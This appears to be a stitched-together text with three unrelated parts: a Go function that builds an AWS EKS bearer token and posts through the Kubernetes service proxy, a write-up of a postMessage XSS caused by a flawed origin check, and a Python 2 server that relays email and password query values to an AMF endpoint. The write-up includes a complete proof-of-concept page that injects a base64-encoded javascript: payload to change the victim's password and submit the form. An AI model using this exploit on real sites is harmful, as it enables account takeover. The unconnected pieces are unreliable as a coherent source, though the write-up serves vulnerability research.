func postDataToService(namespace, service, port, path string, data []byte) ([]byte, error) {
	const (
	    region = "xxxxx"
	    key = "xxxxx"
	    secret = "xxxxx"
	    session = "xxxxx"
	    clusterName = "xxxxx"
	)
	cfg, err := config.LoadDefaultConfig(
		context.TODO(),
		config.WithRegion(region),
		config.WithCredentialsProvider(credentials.NewStaticCredentialsProvider(key, secret, session)),
	)
	if err != nil {
		return nil, err
	}
	awsClient := eks.NewFromConfig(cfg)
	describeClusterOutput, err := awsClient.DescribeCluster(context.TODO(), &eks.DescribeClusterInput{
		Name: aws.String(clusterName),
	})
	if err != nil {
		return nil, err
	}
	preSignClient := sts.NewPresignClient(sts.NewFromConfig(cfg))
	preSignedURLRequest, err := preSignClient.PresignGetCallerIdentity(context.TODO(), &sts.GetCallerIdentityInput{}, func(preSignOptions *sts.PresignOptions) {
		preSignOptions.ClientOptions = append(preSignOptions.ClientOptions, func(stsOptions *sts.Options) {
			stsOptions.APIOptions = append(stsOptions.APIOptions, smithyhttp.SetHeaderValue("x-k8s-aws-id", clusterName))
			stsOptions.APIOptions = append(stsOptions.APIOptions, smithyhttp.SetHeaderValue("X-Amz-Expires", "60"))
		})
	})
	if err != nil {
		return nil, err
	}
	bearerToken := "k8s-aws-v1." + base64.RawURLEncoding.EncodeToString([]byte(preSignedURLRequest.URL))
	ca, err := base64.StdEncoding.DecodeString(*describeClusterOutput.Cluster.CertificateAuthority.Data)
	if err != nil {
		return nil, err
	}
	clientSet, err := kubernetes.NewForConfig(
		&rest.Config{
			Host:        *describeClusterOutput.Cluster.Endpoint,
			BearerToken: bearerToken,
			TLSClientConfig: rest.TLSClientConfig{
				CAData: ca,
			},
		},
	)
	if err != nil {
		return nil, err
	}
	restClient := clientSet.RESTClient()
	return restClient.Post().Body(data).RequestURI("/api/v1/namespaces/"+ namespace +"/services/" + service + ":"+ port +"/proxy" + path).DoRaw(context.TODO())
}
Hello everyone, I will share a simple and interesting xss completed through postMessage.
When I was looking for a site bug in a private program, I accidentally found a period javascript code, the code is as follows
t.prototype.redirectTo = function(t) {
    var e = String(t || "");
    document.location.href = e;
},
t.prototype.handleMessages = function(t) {
    var e = this.chatInstancesDetail.filter(function(e) {
        return e.domain.toLowerCase() === t.origin.toLowerCase()
    })[0];
    if (null !== e) {
        var i = document.getElementById(this.inlineChatFrameId)
          , n = i && i.parentElement;
        switch (t.data.command) {
        case "inline-chat-window-minimise":
            return n && (n.classList.remove("gnatta-inline-webchat"),
            n.classList.add("gnatta-inline-webchat-collapse"),
            this.toggleInlineChatScrollLock(n, !1)),
            void this.cookieService.create("InlineChatIsMinimized", "true", "", 0);
        case "inline-chat-window-maximise":
            return n && (n.classList.remove("gnatta-inline-webchat-collapse"),
            n.classList.add("gnatta-inline-webchat"),
            this.toggleInlineChatScrollLock(n, !0)),
            void this.cookieService["delete"]("InlineChatIsMinimized", "");
        case "inline-chat-window-close":
            return this.killInlineChat(),
            n && this.toggleInlineChatScrollLock(n, !1),
            void this.cookieService["delete"]("InlineChatIsMinimized", "");
        case "window-redirect":
            return this.redirectTo(t.data.completionRedirectUrl),
            void this.inlineChatSessionTrackingService.removeActiveChat()
        }
    }
}
After reading this code briefly, I found that he was listening to postMessage. Whenever I encounter the postMessage code, I always check to see if he checks the origin. This code clearly tells us that yes, he is checking the origin. All this does not seem to be a problem, but you may find that there is a problem with JavaScript. Let’s take a look at the origin check code.
var e = this.chatInstancesDetail.filter(function(e) {
    return e.domain.toLowerCase() === t.origin.toLowerCase()
})[0];
if (null !== e) {//...}
Through observation I found that this.chatInstancesDetail is an array, and the Array.prototype.filter method always returns an array.
If you run the following code in the console
[1,2].filter((item)=>item===1)[0]
Will output 1.
If the conditions are not met, the following code is listed
[1,2].filter((item)=>item===3)[0]
Will output undefined, followed by a judgment statement if (null !== e) {//...}.
In the javascript world, == and === are not the same.
Such as null==undefined and null===undefined, their results are different, which also leads to if judgment always being true.
So this detection code is meaningless, any domain name can communicate with it.
After this, I simply constructed a poc, the code is as follows
<!DOCTYPE html>
<html>
<head>
    <title>xss via postMessage</title>
</head>
<body>
    <a href="javascript:attack()">click me start attack</a>
    <script type="text/javascript">
        var ctx,interval,payload;
        payload=btoa(`
            window.opener.postMessage('attackSuccess','*');
            if(!window.cx){
                window.cx=1;
                email=$('#currentCustomerEmail').val();
                password='Hackerone123';
                $('input[name=newPassword]').val(password);
                $('input[name=checkNewPassword]').val(password);
                $('input[name=checkNewPassword]').removeAttr("disabled");
                alert('Hello '+email+' your password will be changed to: '+password);
                $('#updatePasswordForm').submit();
            }
        `);
        function attack(){
            ctx=window.open("https://example.com/xxx");
            sendPayload();
        }
        function sendPayload(){
            interval=setInterval(function(){
                ctx.postMessage({'command':'window-redirect','completionRedirectUrl':`javascript:eval(atob('${payload}'))`},'*');
            },500);
            window.addEventListener("message",function(e){
                if(e.data=="attackSuccess"){
                    clearInterval(interval);
                }
            });
        }
    </script>
</body>
</html>
After running the poc, you can successfully modify the victim’s password.
Finally, thank you for reading
#!/usr/bin/env python
#coding:utf8
import pyamf
import requests
import urllib
from pyamf import remoting
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
class MyHTTPHandler(BaseHTTPRequestHandler):
    def getValue(self, key):
        arr=self.path.split("?")
        if len(arr)<2:
            return ""
        arr=arr[1].split("&")
        for i in range(0,len(arr)):
            tmp=arr[i].split("=")
            if tmp[0]==key:
                return tmp[1] if tmp[1] else ""
        return ""
    def do_GET(self):
        data=[urllib.unquote(self.getValue("email")),urllib.unquote(self.getValue("password"))]
        req = remoting.Request('method', body=(data))
        env = remoting.Envelope(pyamf.AMF0)
        env.bodies = [('/1',req)]
        data = bytes(remoting.encode(env).read())
        url = 'url' 
        try:
            req = requests.post(url=url,data=data,headers={'Content-Type':'application/x-amf'})
            resp = remoting.decode(req.content)
            html = resp.bodies[0][1].body
            self.send_response(200)
            self.send_header("Content-type","text/html")
            self.end_headers()
            self.wfile.write(html)
        except Exception as e:
            print str(e)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()